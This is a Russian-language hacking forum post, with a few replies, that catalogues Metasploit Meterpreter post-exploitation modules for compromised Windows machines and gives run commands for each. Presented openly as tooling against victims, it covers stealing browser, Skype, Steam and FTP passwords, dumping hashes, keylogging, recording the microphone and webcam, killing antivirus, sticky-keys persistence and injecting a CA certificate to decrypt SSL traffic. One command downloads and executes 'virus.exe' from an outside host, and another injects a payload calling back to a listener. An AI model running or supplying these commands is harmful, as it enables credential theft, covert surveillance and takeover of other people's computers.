Предупреждение: Все авторские права и сама статью принадлежат нашему форумчанину SooLFaa. Я с его предварительного разрешения только публикую на Античате статью.Так как считаю,что такая фундаментальная статья будет украшением нашего форума. Здравия желаю, дамы господа. О чём поговорим сегодня? МЕТЕРПРЕТЕР Для тех кто не вкурсе это очень большой шеллкод с кучей возможностей и сегодня мы рассмотрим, что умеет метерпретер для Windows машин. Так же отсылаю Вас в свою тему про метасплоит где Вы познакомитесь с некоторыми общими понятиями. Ну что?!Поехали?! Итак, мы получили сессию и что дальше нам надо сделать с помощью могучего метерпретера?! Для начала перечислим списком модули, которые будем рассматривать. Для удобного поиска тем, кто будет обращаться к этому топику. run post/windows/gather/enum_devices - получить список установленных устройств; run post/multi/gather/check_malware проверить файл на VIRUS TOTAL'е run post/windows/gather/enum_dirperms найти привилегированные пути в Windows run post/windows/gather/enum_domain – перечислить все доступные домены в Active Directory run post/multi/gather/dns_bruteforce – хотим побрутить домен используя чужие ресурсы? Ноу проблемо эта опция для вас. run post/multi/gather/dns_reverse_lookup - Вы станете днс сервером для Вашего клиента. Соотсветственно можно манипулировать службами DNS. run post/windows/gather/enum_domain_tokens - Воруем токены авторизованных пользователей в Windows run post/multi/gather/enum_vbox - чекаем на наличие Virtual Box машины run post/windows/gather/enum_domains – получить список доменов run post/multi/gather/env – получить переменные окружения полезно так же при эскалациях. run post/multi/gather/filezilla_client_cred – Из моих любимых выдернуть пароли из файлзиллы run post/windows/gather/enum_files – собирает различные конфиги и дат файлы полезная опция при ресерче жертвы run post/multi/gather/find_vmx – получить список всех виртуальных машин run post/windows/gather/enum_hostfile читаем hosts файл run post/multi/gather/firefox_creds крадем пароли из firefox run post/windows/gather/enum_ie – так же для ie run post/windows/gather/enum_ms_product_keys – Воруем ключики лицензий run post/multi/gather/ping_sweep – пингуем хосты run post/windows/gather/enum_powershell_env – получить переменные окружения powershell run post/multi/gather/run_console_rc_file – запустить в консоли rc файл run post/windows/gather/enum_proxy – чекаем на прокси сервер (актуально чаще для организаций) run post/multi/gather/skype_enum – Получить СКАЙП ПАРОЛИ run post/windows/gather/enum_putty_saved_sessions – получаем сессии в PUTTY (SSH) run post/multi/gather/thunderbird_creds – получить пароли с почтового клиента run post/windows/gather/enum_services – получить список сервисов запущенных на машине. Удобно отследить сервисы. run post/multi/gather/wlan_geolocate – узнать локацию интерфейса wlan run post/windows/gather/enum_shares – получить список общих дисков run post/multi/general/close – закрыть сессию метерпретер run post/windows/gather/enum_snmp – чекаем на snmp run post/multi/general/execute(аналог execute) – выполнить cmd команду в консоли жертвы run post/windows/gather/enum_termserv – получить список серверов к которым коннектилась жертва run post/windows/gather/enum_tokens – перечислить токено - залогиненных пользователей в системе run post/windows/gather/enum_trusted_locations – получить интересные пути к файлам run post/multi/manage/play_youtube – запустить видео в ютуб run post/multi/manage/record_mic – запись звука с микрофона. Параметр задает время записи run post/multi/manage/set_wallpaper – установить СВОИ обои run post/windows/gather/forensics/duqu_check – проверить на уязвимость в Word при замене параметра Trueype run post/multi/recon/local_exploit_suggester – прочекать систему на некоторые сплоиты run post/windows/gather/forensics/enum_drives - перечисление драйверов работает криво run post/windows/capture/keylog_recorder – классный кейлоггер run post/windows/capture/lockout_keylogger ещё кейлоггер по мощнее run post/windows/escalate/droplnk - создает вредный ярлычок, который если жертва запустит получим админа работает до win7 run post/windows/gather/hashdump – получить хэши паролей run post/windows/escalate/getsystem – стандартная повышалка привелегий, работает очень редко run post/windows/escalate/golden_ticket - отличный способ эскалации в доменах run post/windows/escalate/ms10_073_kbdlayout – ещё один способ эскалации эксплоит до win7 run post/windows/escalate/screen_unlock - залочить текущий момнитор run post/windows/gather/memory_grep – поиск утечет памяти в процессе run post/windows/gather/ad_to_sqlite – Вся информация об Active directory в базу run post/windows/gather/bitcoin_jacker – очень повезёт если схватите тачку на которой майнят биткоины run post/windows/gather/phish_windows_credentials – фишинговая форма входа на powershell после ввода пасса отдаёт обратно хакеру. run post/windows/gather/checkvm - проверить не на виртуалке ли мы. run post/windows/gather/screen_spy – типа скриншотера, делает 1 скрин в секунду и создается иллюзия наблюдения за столом run post/windows/gather/smart_hashdump если не работает хэшдамп можно попробовать run post/windows/gather/credentials/bulletproof_ftp – парольчики с этого клиента run post/windows/gather/tcpnetstat – получаем аналог команды netstat run post/windows/gather/usb_history – Информация о флешках побывавших в компьютере и устройствах run post/windows/gather/win_privs – Права текущего пользователя run post/windows/gather/credentials/domain_hashdump - получить хэшик группы в адешке run post/windows/gather/credentials/enum_cred_store – пытаемся брутфорснуть креды пользователей run post/windows/gather/credentials/enum_cred_store – пытаемся брутфорснуть креды пользователей run post/windows/manage/add_user_domain –Добавляем пользователя в домен run post/windows/manage/autoroute – хотим начать хекать хосты на нашей атакованной машине, так проложить маршруты надо сначала run post/windows/gather/credentials/enum_picasa_pwds воруем пароли от пикасы, надо мигрировать в explorer run post/windows/gather/credentials/filezilla_server – чекаем на наличие файлзиллы run post/windows/manage/delete_user – удалить пользователя run post/windows/manage/download_exec – скачать и запустить run post/windows/manage/enable_rdp включаем РДПшечку run post/windows/gather/credentials/gpp - получаем групповые политики в домене run post/windows/manage/enable_support_account – открыть саппорт аккаунт run post/windows/gather/credentials/heidisql – получить паролики от Heidi run post/windows/manage/exec_powershell моя любимая фитчка, выполнить ps команду run post/windows/manage/forward_pageant – пропускаем ssh через себя run post/windows/manage/inject_ca – очень классная фитча позволяет внедрить свой са сертификат и имея у себя приватный и публичный ключ расшифровывать SSL трафик. run post/windows/manage/inject_host - внедрить host в файл hosts run post/windows/manage/killav попытка задушить популярные процессы run post/windows/manage/migrate – мигрировать в процесс, скрывает процесс шелкода, а так же позволяет повысить привилегии и закрепиться. Многие фитчи не работают из другого процесса. run post/windows/manage/multi_meterpreter_inject – очень полезная фитча, когда нужно внедрить другой payload например выше разрядностью run post/windows/gather/credentials/outlook – получить список конфигов в outlook run post/windows/manage/payload_inject - аналогично multi_meterpreter_inject но как видно из названий ОС зависимый. run post/windows/gather/credentials/skype - украсть пароли в скайп run post/windows/manage/powershell/build_net_code – Скомпилировать .Net файл с помощью компилятора powershell, очень удобно чтобы пробросить свой код на C#. run post/windows/manage/powershell/exec_powershell – хотим выполнить ps команду не проблема. По умолчанию валит ошибку но команду все равно выполняет run post/windows/manage/priv_migrate – ЭСКАЛАЦИЯ пытается мигрировать в привилегированный процесс, что после миграции дает права пользователя с бОльшими привилегиями. run post/windows/gather/credentials/steam – ВОРУЕЕЕМ ПАРОЛИИ СТИИИИМММ run post/windows/gather/credentials/tortoisesvn – пытаемся вытянуть конфиги к репам из известного клиента SVN Turtoise run post/windows/manage/reflective_dll_inject – DLL Инъекция в процесс. Путь к DLL и процессу куда инжектим DLLку, об этом я писал статью здесь run post/windows/manage/remove_ca – удалить са поможет для того чтобы сломать ssl и выпустить новый run post/windows/gather/credentials/vnc – получить креды от vnc run post/windows/manage/rpcapd_start - пишем траффик с удаленной тачки run post/windows/gather/credentials/windows_autologin – получить креды автологина очень часто используется. run post/windows/manage/sticky_keys – ОТЛИЧНЫЙ ПЕРСИСТЕНС срабатывает когда нажат SHIFT 5 раз или горячие клавиши с WINDOWS run post/windows/manage/wdigest_caching – фитча, с помощью которой, мы можем получить пароли пользователя плейнтекстом с помощью mimikatz run post/windows/manage/webcam Сфоткаемся? > webcam_snap -i 1 -v false Я обычно юзаю так run post/windows/gather/enum_applications – получить список установленных тулз run post/windows/gather/enum_av_excluded – получения программы в исключениях антивируса удобно для миграции и ав бйпасса. run post/windows/gather/enum_chrome а вот об этом я подробно писал тут run post/windows/gather/enum_db – Установленные базы данных Теперь Скриншотики run post/windows/gather/enum_devices Результат: run post/multi/gather/check_malware REMOTEFILE=c:\\windows\\system32\\cmd.exe run post/windows/gather/enum_dirperms run post/multi/gather/dns_bruteforce DOMAIN=www.ya.ru run post/multi/gather/enum_vbox run post/windows/gather/enum_domains run post/multi/gather/env run post/multi/gather/filezilla_client_cred run post/windows/gather/enum_files run post/multi/gather/find_vmx run post/windows/gather/enum_hostfile От себя: громадное спасибо SooLFaa за разрешение и в дальнейшем публиковать его статьи, а их немало, в дальнейшем печатать его статьи. Продолжение следует...
run post/multi/gather/firefox_creds run post/windows/gather/enum_ie run post/windows/gather/enum_powershell_env run post/multi/gather/run_console_rc_file run post/windows/gather/enum_proxy run post/windows/gather/enum_putty_saved_sessions run post/windows/gather/enum_services Продолжение следует...
run post/multi/gather/wlan_geolocate run post/windows/gather/enum_shares run post/multi/general/execute run post/windows/gather/enum_termserv run post/windows/gather/enum_trusted_locations run post/multi/manage/play_youtube run post/multi/manage/record_mic run post/windows/gather/forensics/browser_history run post/windows/gather/forensics/duqu_check run post/multi/recon/local_exploit_suggester run post/windows/gather/forensics/enum_drives run post/windows/capture/keylog_recorder Результат run post/windows/gather/forensics/recovery_files run post/windows/escalate/droplnk run post/windows/gather/hashdump Продолжение следует...
run post/windows/escalate/getsystem run post/windows/gather/phish_windows_credentials run post/windows/gather/checkvm run post/windows/gather/screen_spy run post/windows/gather/tcpnetstat run post/windows/gather/credentials/coreftp run post/windows/gather/usb_history run post/windows/gather/win_privs run post/windows/gather/credentials/domain_hashdump run post/windows/gather/credentials/enum_cred_store run post/windows/manage/add_user_domain run post/windows/manage/autoroute run post/windows/gather/credentials/enum_picasa_pwds Продолжение следует....
run post/windows/gather/credentials/filezilla_server run post/windows/manage/download_exec URL=http://rgho.st/download/8qqcN4rMP/87e68e1dc10678615f964cacf5d63ea23c8d1d84/virus.exe EXECUTE=true run post/windows/gather/credentials/gpp run post/windows/manage/exec_powershell run post/windows/manage/forward_pageant run post/windows/manage/inject_host DOMAIN=www.ya.ru IP=87.240.165.82 run post/windows/manage/killav run post/windows/manage/migrate run post/windows/manage/multi_meterpreter_inject run post/windows/gather/credentials/outlook run post/windows/manage/payload_inject LHOST=192.168.1.237 LPORT=1341 run post/windows/gather/credentials/skype run post/windows/manage/powershell/exec_powershell Результат: run post/windows/manage/priv_migrate Результат: run post/windows/gather/credentials/tortoisesvn run post/windows/manage/sticky_keys продолжение следует...
run post/windows/manage/wdigest_caching run post/windows/gather/enum_applications run post/windows/gather/enum_av_excluded run post/windows/gather/enum_db Post interrupted by the console user – увидели такую ошибку используйте вместо опции run use или попробуйте мигрировать в процесс
Если ачату интересно - ради бога. Я только за. Спасибо ТС за то, что потратил время и форкнул даже со всеми скринами. Но я обычно по скромнее себя вёл. Свои статьи писал в раздел Песочница, а оттуда если ЯР посчитает нужным перенесет сам (на моей памяти такого ещё не было, но и для ачата я написал всего 2 - 3 статьи).
Да хороший универсальный скрипт+эксплоит! На вифислаксе интересно он будет работать и там может уже установлен метасплоит в Новом Вифислаксе 64.01?
Хочешь чтобы там работало. Добавь в sources.list репы кали. а потом просто apt-get install metasploit-framework.
